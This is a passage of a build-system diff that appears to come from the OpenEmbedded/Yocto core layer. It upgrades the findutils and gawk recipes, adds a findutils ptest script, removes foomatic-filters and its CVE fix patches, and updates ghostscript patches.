-@@ -324,6 +324,12 @@ pred_delete (const char *pathname, struct stat *stat_buf, struct predicate *pred
- }
- else
- {
-+ if (ENOENT == errno && options.ignore_readdir_race)
-+ {
-+ /* Ignore unlink() error for vanished files. */
-+ errno = 0;
-+ return true;
-+ }
- if (EISDIR == errno)
- {
- if ((flags & AT_REMOVEDIR) == 0)
diff --git a/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-fflush.patch b/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-fflush.patch
deleted file mode 100644
index d13e8ed3cf..0000000000
--- a/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-fflush.patch
+++ /dev/null
@@ -1,140 +0,0 @@
-From 80cdfba079627e15129a926a133825b961d41e36 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Mon, 5 Mar 2018 10:56:29 -0800
-Subject: [PATCH] fflush: adjust to glibc 2.28 libio.h removal
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Problem reported by Daniel P. Berrangé in:
-https://lists.gnu.org/r/bug-gnulib/2018-03/msg00000.html
-* lib/fflush.c (clear_ungetc_buffer_preserving_position)
-(disable_seek_optimization, rpl_fflush):
-* lib/fpurge.c (fpurge):
-* lib/freadahead.c (freadahead):
-* lib/freading.c (freading):
-* lib/fseeko.c (fseeko):
-* lib/stdio-impl.h (_IO_IN_BACKUP) [_IO_EOF_SEEN]:
-Define if not already defined.
-
-Upstream-commit: 4af4a4a71827c0bc5e0ec67af23edef4f15cee8e
-Signed-off-by: Kamil Dudka <kdudka@redhat.com>
-Upstream-Status: Backport [4af4a4a71827c0bc5e0ec67af23edef4f15cee8e]
----
- gl/lib/fflush.c | 6 +++---
- gl/lib/fpurge.c | 2 +-
- gl/lib/freadahead.c | 2 +-
- gl/lib/freading.c | 2 +-
- gl/lib/fseeko.c | 4 ++--
- gl/lib/stdio-impl.h | 6 ++++++
- 6 files changed, 14 insertions(+), 8 deletions(-)
-
-Index: findutils-4.6.0/gl/lib/fflush.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/fflush.c
-+++ findutils-4.6.0/gl/lib/fflush.c
-@@ -33,7 +33,7 @@
- #undef fflush
-
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- /* Clear the stream's ungetc buffer, preserving the value of ftello (fp). */
- static void
-@@ -72,7 +72,7 @@ clear_ungetc_buffer (FILE *fp)
-
- #endif
-
--#if ! (defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-+#if ! (defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */)
-
- # if (defined __sferror || defined __DragonFly__ || defined __ANDROID__) && defined __SNPT
- /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Android */
-@@ -148,7 +148,7 @@ rpl_fflush (FILE *stream)
- if (stream == NULL || ! freading (stream))
- return fflush (stream);
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-
- clear_ungetc_buffer_preserving_position (stream);
-
-Index: findutils-4.6.0/gl/lib/fpurge.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/fpurge.c
-+++ findutils-4.6.0/gl/lib/fpurge.c
-@@ -62,7 +62,7 @@ fpurge (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_IO_read_end = fp->_IO_read_ptr;
- fp->_IO_write_ptr = fp->_IO_write_base;
- /* Avoid memory leak when there is an active ungetc buffer. */
-Index: findutils-4.6.0/gl/lib/freadahead.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/freadahead.c
-+++ findutils-4.6.0/gl/lib/freadahead.c
-@@ -25,7 +25,7 @@
- size_t
- freadahead (FILE *fp)
- {
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_write_ptr > fp->_IO_write_base)
- return 0;
- return (fp->_IO_read_end - fp->_IO_read_ptr)
-Index: findutils-4.6.0/gl/lib/freading.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/freading.c
-+++ findutils-4.6.0/gl/lib/freading.c
-@@ -31,7 +31,7 @@ freading (FILE *fp)
- /* Most systems provide FILE as a struct and the necessary bitmask in
- <stdio.h>, because they need it for implementing getc() and putc() as
- fast macros. */
--# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+# if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- return ((fp->_flags & _IO_NO_WRITES) != 0
- || ((fp->_flags & (_IO_NO_READS | _IO_CURRENTLY_PUTTING)) == 0
- && fp->_IO_read_base != NULL));
-Index: findutils-4.6.0/gl/lib/fseeko.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/fseeko.c
-+++ findutils-4.6.0/gl/lib/fseeko.c
-@@ -47,7 +47,7 @@ fseeko (FILE *fp, off_t offset, int when
- #endif
-
- /* These tests are based on fpurge.c. */
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- if (fp->_IO_read_end == fp->_IO_read_ptr
- && fp->_IO_write_ptr == fp->_IO_write_base
- && fp->_IO_save_base == NULL)
-@@ -123,7 +123,7 @@ fseeko (FILE *fp, off_t offset, int when
- return -1;
- }
-
--#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
-+#if defined _IO_EOF_SEEN || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */
- fp->_flags &= ~_IO_EOF_SEEN;
- fp->_offset = pos;
- #elif defined __sferror || defined __DragonFly__ || defined __ANDROID__
-Index: findutils-4.6.0/gl/lib/stdio-impl.h
-===================================================================
---- findutils-4.6.0.orig/gl/lib/stdio-impl.h
-+++ findutils-4.6.0/gl/lib/stdio-impl.h
-@@ -18,6 +18,12 @@
- the same implementation of stdio extension API, except that some fields
- have different naming conventions, or their access requires some casts. */
-
-+/* Glibc 2.28 made _IO_IN_BACKUP private. For now, work around this
-+ problem by defining it ourselves. FIXME: Do not rely on glibc
-+ internals. */
-+#if !defined _IO_IN_BACKUP && defined _IO_EOF_SEEN
-+# define _IO_IN_BACKUP 0x100
-+#endif
-
- /* BSD stdio derived implementations. */
-
diff --git a/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-makedev.patch b/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-makedev.patch
deleted file mode 100644
index 0fb3953cf3..0000000000
--- a/meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-makedev.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From 80628047a6cc83f82e0c410a82b8f7facd9d50f2 Mon Sep 17 00:00:00 2001
-From: Eric Blake <eblake@redhat.com>
-Date: Wed, 14 Sep 2016 19:21:42 -0500
-Subject: [PATCH] mountlist: include sysmacros.h for glibc
-
-On Fedora rawhide (glibc 2.25), './gnulib-tool --test mountlist'
-reports:
-../../gllib/mountlist.c: In function 'read_file_system_list':
-../../gllib/mountlist.c:534:13: warning: '__makedev_from_sys_types' is deprecated:
- In the GNU C Library, `makedev' is defined by <sys/sysmacros.h>.
- For historical compatibility, it is currently defined by
- <sys/types.h> as well, but we plan to remove this soon.
- To use `makedev', include <sys/sysmacros.h> directly.
- If you did not intend to use a system-defined macro `makedev',
- you should #undef it after including <sys/types.h>.
- [-Wdeprecated-declarations]
- me->me_dev = makedev (devmaj, devmin);
- ^~
-In file included from /usr/include/features.h:397:0,
- from /usr/include/sys/types.h:25,
- from ./sys/types.h:28,
- from ../../gllib/mountlist.h:23,
- from ../../gllib/mountlist.c:20:
-/usr/include/sys/sysmacros.h:89:1: note: declared here
- __SYSMACROS_DEFINE_MAKEDEV (__SYSMACROS_FST_IMPL_TEMPL)
- ^
-
-Fix it by including the right headers. We also need a fix to
-autoconf's AC_HEADER_MAJOR, but that's a separate patch.
-
-* m4/mountlist.m4 (gl_PREREQ_MOUTLIST_EXTRA): Include
-AC_HEADER_MAJOR.
-* lib/mountlist.c (includes): Use correct headers.
-
-Signed-off-by: Eric Blake <eblake@redhat.com>
-
-Upstream-commit: 4da63c5881f60f71999a943612da9112232b9161
-Signed-off-by: Kamil Dudka <kdudka@redhat.com>
-Upstream-Status: Backport [4da63c5881f60f71999a943612da9112232b9161]
----
- gl/lib/mountlist.c | 6 ++++++
- gl/m4/mountlist.m4 | 3 ++-
- 2 files changed, 8 insertions(+), 1 deletion(-)
-
-Index: findutils-4.6.0/gl/lib/mountlist.c
-===================================================================
---- findutils-4.6.0.orig/gl/lib/mountlist.c
-+++ findutils-4.6.0/gl/lib/mountlist.c
-@@ -37,6 +37,12 @@
- # include <sys/param.h>
- #endif
-
-+#if MAJOR_IN_MKDEV
-+# include <sys/mkdev.h>
-+#elif MAJOR_IN_SYSMACROS
-+# include <sys/sysmacros.h>
-+#endif
-+
- #if defined MOUNTED_GETFSSTAT /* OSF_1 and Darwin1.3.x */
- # if HAVE_SYS_UCRED_H
- # include <grp.h> /* needed on OSF V4.0 for definition of NGROUPS,
-Index: findutils-4.6.0/gl/m4/mountlist.m4
-===================================================================
---- findutils-4.6.0.orig/gl/m4/mountlist.m4
-+++ findutils-4.6.0/gl/m4/mountlist.m4
-@@ -1,4 +1,4 @@
--# serial 11
-+# serial 12
- dnl Copyright (C) 2002-2006, 2009-2015 Free Software Foundation, Inc.
- dnl This file is free software; the Free Software Foundation
- dnl gives unlimited permission to copy and/or distribute it,
-@@ -15,5 +15,6 @@ AC_DEFUN([gl_PREREQ_MOUNTLIST_EXTRA],
- [
- dnl Note gl_LIST_MOUNTED_FILE_SYSTEMS checks for mntent.h, not sys/mntent.h.
- AC_CHECK_HEADERS([sys/mntent.h])
-+ AC_HEADER_MAJOR()dnl for use of makedev ()
- gl_FSTYPENAME
- ])
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+ path_prepend_ $@
+}
+
+print_ver_ () {
+ :
+}
+
+skip_if_root_ () {
+ [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+ [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+ :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+ bash $f ;
+ case $? in
+ 0 )
+ echo -n "PASS";;
+ 77 )
+ echo -n "SKIP";;
+ * )
+ echo -n "FAIL";;
+ esac
+ echo ": $f"
+done
+
+#remove symlink
+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.6.0.bb b/meta/recipes-extended/findutils/findutils_4.6.0.bb
deleted file mode 100644
index 3b62ed9962..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.6.0.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require findutils.inc
-
-# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-DEPENDS = "bison-native"
-
-SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0001-find-make-delete-honour-the-ignore_readdir_race-opti.patch \
- file://findutils-4.6.0-gnulib-fflush.patch \
- file://findutils-4.6.0-gnulib-makedev.patch \
-"
-
-SRC_URI[md5sum] = "9936aa8009438ce185bea2694a997fc1"
-SRC_URI[sha256sum] = "ded4c9f73731cd48fec3b6bdaccce896473b6d8e337e9612e16cf1431bb1169d"
-
-# http://savannah.gnu.org/bugs/?27299
-CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
-
-EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb
new file mode 100644
index 0000000000..e4ce8ee4eb
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb
@@ -0,0 +1,26 @@
+require findutils.inc
+
+# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+# http://savannah.gnu.org/bugs/?27299
+CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
+
+EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+RDEPENDS:${PN}-ptest += "bash sed grep"
+
+do_install_ptest:class-target() {
+ mkdir -p ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+ # substitute value in run-ptest with actual version
+ sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
diff --git a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch b/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch
deleted file mode 100644
index aaedc88aa3..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Backport
-
-
-http://bzr.linuxfoundation.org/loggerhead/openprinting/cups-filters/revision/7406
-
-Hand applied change to util.c. Fix was for cups-filters but also applied to foomatic-filters.
-
-CVE: CVE-2015-8327
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: util.c
-===================================================================
---- a/util.c
-+++ b/util.c
-@@ -31,7 +31,7 @@
- #include <assert.h>
-
-
--const char* shellescapes = "|;<>&!$\'\"#*?()[]{}";
-+const char* shellescapes = "|;<>&!$\'\"`#*?()[]{}";
-
- const char * temp_dir()
- {
diff --git a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch b/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch
deleted file mode 100644
index dc973c4592..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Backport
-
-
-http://bzr.linuxfoundation.org/loggerhead/openprinting/cups-filters/revision/7419
-
-Hand applied change to util.c. Fix was for cups-filters but also applied to foomatic-filters.
-
-CVE: CVE-2015-8560
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: util.c
-===================================================================
---- a/util.c
-+++ b/util.c
-@@ -31,7 +31,7 @@
- #include <assert.h>
-
-
--const char* shellescapes = "|<>&!$\'\"#*?()[]{}";
-+const char* shellescapes = "|;<>&!$\'\"#*?()[]{}";
-
- const char * temp_dir()
- {
diff --git a/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb b/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb
deleted file mode 100644
index 742c9a5cf2..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "OpenPrinting printer support - filters"
-HOMEPAGE = "https://wiki.linuxfoundation.org/openprinting/start"
-DESCRIPTION = "Foomatic is a printer database designed to make it easier to set up \
-common printers for use with UNIX-like operating systems.\
-It provides the "glue" between a print spooler (like CUPS or lpr) and \
-the printer, by processing files sent to the printer. \
- \
-This package consists of filters used by the printer spoolers \
-to convert the incoming PostScript data into the printer's native \
-format using a printer-specific, but spooler-independent PPD file. \
-"
-
-DEPENDS += "cups perl libxml2"
-PR = "r1"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/foomatic-filters-${PV}/COPYING;md5=393a5ca445f6965873eca0259a17f833"
-
-SRC_URI = "http://www.openprinting.org/download/foomatic/foomatic-filters-${PV}.tar.gz"
-
-SRC_URI += "file://CVE-2015-8560.patch \
- file://CVE-2015-8327.patch \
- "
-
-SRC_URI[md5sum] = "b05f5dcbfe359f198eef3df5b283d896"
-SRC_URI[sha256sum] = "a2e2e53e502571e88eeb9010c45a0d54671f15707ee104f5c9c22b59ea7a33e3"
-
-UPSTREAM_CHECK_REGEX = "foomatic-filters-(?P<pver>((\d|\d\d)\.*)+)\.tar\.gz"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += "--disable-file-converter-check --with-file-converter=texttops"
-
-do_configure_prepend() {
- export PERL="${bindir}/env perl"
- export CUPS_SERVERBIN=${exec_prefix}/lib/cups # /usr/lib NOT libdir
-}
-
-do_install_append_linuxstdbase() {
- install -d ${D}${exec_prefix}/lib/cups/filter
- ln -sf ${bindir}/foomatic-rip ${D}${exec_prefix}/lib/cups/filter
-}
-
-FILES_${PN} += "${exec_prefix}/lib/cups/ ${exec_prefix}/lib/ppr/"
diff --git a/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch b/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch
new file mode 100644
index 0000000000..167c0787ee
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch
@@ -0,0 +1,24 @@
+These tests require an unloaded host as otherwise timing sensitive tests can fail
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+--- a/test/Maketests~
++++ b/test/Maketests
+@@ -2069,7 +2069,2 @@
+
+-timeout:
+- @echo $@ $(ZOS_FAIL)
+- @AWKPATH="$(srcdir)" $(AWK) -f $@.awk >_$@ 2>&1 || echo EXIT CODE: $$? >>_$@
+- @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@
+-
+ typedregex1:
+@@ -2297,7 +2292,2 @@
+ @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@
+-
+-time:
+- @echo $@
+- @AWKPATH="$(srcdir)" $(AWK) -f $@.awk >_$@ 2>&1 || echo EXIT CODE: $$? >>_$@
+- @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@
+
diff --git a/meta/recipes-extended/gawk/gawk_5.0.1.bb b/meta/recipes-extended/gawk/gawk_5.0.1.bb
deleted file mode 100644
index eaba6c78ed..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.0.1.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "GNU awk text processing utility"
-DESCRIPTION = "The GNU version of awk, a text processing utility. \
-Awk interprets a special-purpose programming language to do \
-quick and easy text pattern matching and reformatting jobs."
-HOMEPAGE = "https://www.gnu.org/software/gawk/"
-BUGTRACKER = "bug-gawk@gnu.org"
-SECTION = "console/utils"
-
-# gawk <= 3.1.5: GPLv2
-# gawk >= 3.1.6: GPLv3
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
-
-SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "c5441c73cc451764055ee65e9a4292bb"
-SRC_URI[sha256sum] = "625bf3718e25a84dc4486135d5cb5388174682362c70107fd13f21572f5603bb"
-
-inherit autotools gettext texinfo update-alternatives
-
-FILES_${PN} += "${datadir}/awk"
-FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
-
-ALTERNATIVE_${PN} = "awk"
-ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install_append() {
- # remove the link since we don't package it
- rm ${D}${bindir}/awk
-}
-
-inherit ptest
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
- for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
- do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
- done
- sed -i -e 's|/usr/local/bin|${bindir}|g' \
- -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
-}
-
-RDEPENDS_${PN}-ptest += "make"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.1.1.bb b/meta/recipes-extended/gawk/gawk_5.1.1.bb
new file mode 100644
index 0000000000..fe339805d0
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.1.1.bb
@@ -0,0 +1,64 @@
+SUMMARY = "GNU awk text processing utility"
+DESCRIPTION = "The GNU version of awk, a text processing utility. \
+Awk interprets a special-purpose programming language to do \
+quick and easy text pattern matching and reformatting jobs."
+HOMEPAGE = "https://www.gnu.org/software/gawk/"
+BUGTRACKER = "bug-gawk@gnu.org"
+SECTION = "console/utils"
+
+# gawk <= 3.1.5: GPL-2.0-only
+# gawk >= 3.1.6: GPL-3.0-only
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
+
+SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
+ file://remove-sensitive-tests.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "6168d8d1dc8f74bd17d9dc22fa9634c49070f232343b744901da15fb4f06bffd"
+
+inherit autotools gettext texinfo update-alternatives
+
+FILES:${PN} += "${datadir}/awk"
+FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
+
+ALTERNATIVE:${PN} = "awk"
+ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install:append() {
+ # remove the link since we don't package it
+ rm ${D}${bindir}/awk
+}
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
+ # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
+ TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
+ for i in $TESTS Maketests inclib.awk; do
+ cp ${S}/test/$i* ${D}${PTEST_PATH}/test
+ done
+ sed -i -e 's|/usr/local/bin|${bindir}|g' \
+ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
+
+ sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
+
+ # These tests require an unloaded host as otherwise timing sensitive tests can fail
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
+ rm -f ${D}${PTEST_PATH}/test/time.*
+ rm -f ${D}${PTEST_PATH}/test/timeout.*
+}
+
+RDEPENDS:${PN}-ptest += "make"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
index 5834ffaf9f..a9afb9948c 100644
--- a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
+++ b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
@@ -1,7 +1,7 @@
-From a954bf29a5f906b3151dffbecb5856e02e1565da Mon Sep 17 00:00:00 2001
+From 2adaa7366064a8f18af864eda74e52877a89620c Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Mon, 18 Jan 2016 01:00:30 -0500
-Subject: [PATCH 03/10] configure.ac: do not check local png source
+Subject: [PATCH] configure.ac: do not check local png source
In oe-core, it did not need to compile local libpng
source in ghostscript, so do not check local png
@@ -11,28 +11,21 @@ libpng library.
Upstream-Status: Inappropriate [OE-Core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 9341930..80a60b1 100644
+index 698abd3..e65ac8b 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1114,11 +1114,11 @@ AC_SUBST(ZLIBDIR)
- AC_SUBST(FT_SYS_ZLIB)
-
- dnl png for the png output device; it also requires zlib
--LIBPNGDIR=src
-+LIBPNGDIR=$srcdir/libpng
- PNGDEVS=''
- PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
- AC_MSG_CHECKING([for local png library source])
--if test -f $srcdir/libpng/pngread.c; then
-+if false; then
- AC_MSG_RESULT([yes])
- SHARE_LIBPNG=0
- LIBPNGDIR=$srcdir/libpng
---
-1.8.3.1
-
+@@ -1241,7 +1241,7 @@ else
+ PNGDEVS=''
+ PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
+ AC_MSG_CHECKING([for local png library source])
+- if test -f $srcdir/libpng/pngread.c; then
++ if false; then
+ AC_MSG_RESULT([yes])
+ SHARE_LIBPNG=0
+ LIBPNGDIR=$srcdir/libpng
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14811-0001.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14811-0001.patch
deleted file mode 100644
index 3f28555e8a..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14811-0001.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 885444fcbe10dc42787ecb76686c8ee4dd33bf33 Mon Sep 17 00:00:00 2001
-From: Ken Sharp <ken.sharp@artifex.com>
-Date: Tue, 20 Aug 2019 10:10:28 +0100
-Subject: [PATCH] make .forceput inaccessible
-
-Bug #701343, #701344, #701345
-
-More defensive programming. We don't want people to access .forecput
-even though it is no longer sufficient to bypass SAFER. The exploit
-in #701343 didn't work anyway because of earlier work to stop the error
-handler being used, but nevertheless, prevent access to .forceput from
-.setuserparams2.
-
-CVE: CVE-2019-14811
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
----
- Resource/Init/gs_lev2.ps | 6 +++---
- Resource/Init/gs_pdfwr.ps | 4 ++--
- 2 files changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/Resource/Init/gs_lev2.ps b/Resource/Init/gs_lev2.ps
-index 98d55fe..f1b771f 100644
---- a/Resource/Init/gs_lev2.ps
-+++ b/Resource/Init/gs_lev2.ps
-@@ -158,7 +158,7 @@ end
- {
- pop pop
- } ifelse
-- } forall
-+ } executeonly forall
- % A context switch might have occurred during the above loop,
- % causing the interpreter-level parameters to be reset.
- % Set them again to the new values. From here on, we are safe,
-@@ -229,9 +229,9 @@ end
- { pop pop
- }
- ifelse
-- }
-+ } executeonly
- forall pop
--} .bind odef
-+} .bind executeonly odef
-
- % Initialize the passwords.
- % NOTE: the names StartJobPassword and SystemParamsPassword are known to
-diff --git a/Resource/Init/gs_pdfwr.ps b/Resource/Init/gs_pdfwr.ps
-index 00c19fa..dfe504d 100644
---- a/Resource/Init/gs_pdfwr.ps
-+++ b/Resource/Init/gs_pdfwr.ps
-@@ -652,11 +652,11 @@ currentdict /.pdfmarkparams .undef
- systemdict /.pdf_hooked_DSC_Creator //true .forceput
- } executeonly if
- pop
-- } if
-+ } executeonly if
- } {
- pop
- } ifelse
-- }
-+ } executeonly
- {
- pop
- } ifelse
---
-2.20.1
-
